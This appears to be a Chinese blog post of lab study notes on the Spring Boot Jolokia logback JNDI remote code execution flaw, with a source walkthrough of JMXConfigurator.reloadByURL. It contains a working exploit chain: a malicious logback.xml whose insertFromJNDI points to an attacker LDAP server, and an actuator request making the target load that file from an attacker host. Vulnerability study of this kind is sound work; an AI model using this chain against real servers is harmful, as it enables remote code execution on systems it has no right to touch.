SpringBoot jolokia logback JNDI RCE

前言:jolokia logback JNDI RCE 漏洞学习笔记

在实战中碰到的几率还是有的,不过有时候不存在相关可利用的依赖,有时候不存在相关可利用的MBean,总是会觉得可惜...

这里不讲述相关的jolokia的MBean使用方法,如果需要的话可以去学习下

参考文章:https://jolokia.org/reference/html/protocol.html#request-example

环境搭建与漏洞利用

漏洞环境参考:https://github.com/LandGrey/SpringBootVulExploit

打开相关的jolokia logback工程,然后配置下启动类即可,如下图所示

接着访问 http://localhost:9094/actuator/jolokia/list ,搜索MBean "logback"

启用相关的存在PAYLOAD的LDAP服务

logback.xml内容如下

<configuration>
  <insertFromJNDI env-entry-name="ldap://192.168.0.108:1389/exo5gx" as="appName" />
</configuration>

进行JNDI注入,访问如下地址

http://localhost:9094/actuator/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/192.168.0.108:8000!/logback.xml

命令执行成功,如下图所示

漏洞分析

这里通过相关工具来进行解析,格式化寻找相关MBean

http://localhost:9094/actuator/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/$java.net.URL
[+] DESC  : Operation exposed for management // returns void
http://localhost:9094/actuator/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByFileName/$java.lang.String
[+] DESC  : Operation exposed for management // returns void
http://localhost:9094/actuator/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadDefaultConfiguration
[+] DESC  : Operation exposed for management // returns java.lang.String
http://localhost:9094/actuator/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/getLoggerLevel/$java.lang.String
[+] DESC  : Operation exposed for management // returns java.lang.String
http://localhost:9094/actuator/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/getLoggerEffectiveLevel/$java.lang.String
[+] DESC  : Operation exposed for management // returns void
http://localhost:9094/actuator/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/setLoggerLevel/$java.lang.String/$java.lang.String
http://localhost:9094/actuator/jolokia/read/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/Statuses
http://localhost:9094/actuator/jolokia/read/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/LoggerLis

大家提供的利用方法都是通过http://localhost:9094/actuator/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/$java.net.URL的方法来进行的

这里可以过来看下相关实现代码,直接来看ch.qos.logback.classic.jmx.JMXConfigurator中的reloadByURL方法

    public void reloadByURL(URL url) throws JoranException {
        StatusListenerAsList statusListenerAsList = new StatusListenerAsList();

        addStatusListener(statusListenerAsList);
        addInfo("Resetting context: " + loggerContext.getName());
        loggerContext.reset();

        // after a reset the statusListenerAsList gets removed as a listener
        addStatusListener(statusListenerAsList);

        try {
            if (url != null) {
                JoranConfigurator configurator = new JoranConfigurator();
                configurator.setContext(loggerContext);
                configurator.doConfigure(url);
                addInfo("Context: " + loggerContext.getName() + " reloaded.");
            }
        } finally {
            removeStatusListener(statusListenerAsList);
            if (debug) {
                StatusPrinter.print(statusListenerAsList.getStatusList());
            }
        }
    }

这个方法自己大概跟过后就会了解,就是通过外部提供的URL来进行加载相关logback.xml的配置文件

这里可以跟到configurator.doConfigure(url);中进行观察,这里的话就是准备好URL,然后获取请求好回来的内容,也就是 攻击者服务器上的logback.xml的内容流

继续跟进doConfigure(in, url.toExternalForm());,可以看到的就是对这个logback.xml内容流进行解析

如何解析的?继续跟到recorder.recordEvents(inputSource);来观察,可以看到典型的XML组件解析操作,并且没有相关的XXE注入拦截,所以这里同时也存在XXE漏洞

recorder.recordEvents(inputSource);解析完之后会存在一个,其中就存在一个对攻击者服务器请求的logback.xml的内容结构

其中可以看到一个标签<insertFromJNDI>,通过了解logback的官方文档,logback如果读取到该标签,就会对标签进行实例化一个InsertFromJNDIAction对象,调用该对象的begin方法,该begin方法会生成上下文进行目标请求

跟到doConfigure(recorder.saxEventList);就会知道它是如何进行请求的

继续跟到play方法中,可以发现对整体的xml内容结构进行遍历解析

最后读到那段JNDI地址的标签的时候,它最后就会通过实例化一个上下文对象,然后请求这个地址,最终触发了JNDI注入

posted @ 2021-11-12 01:22  zpchcbd  阅读(2739)  评论(0编辑  收藏  举报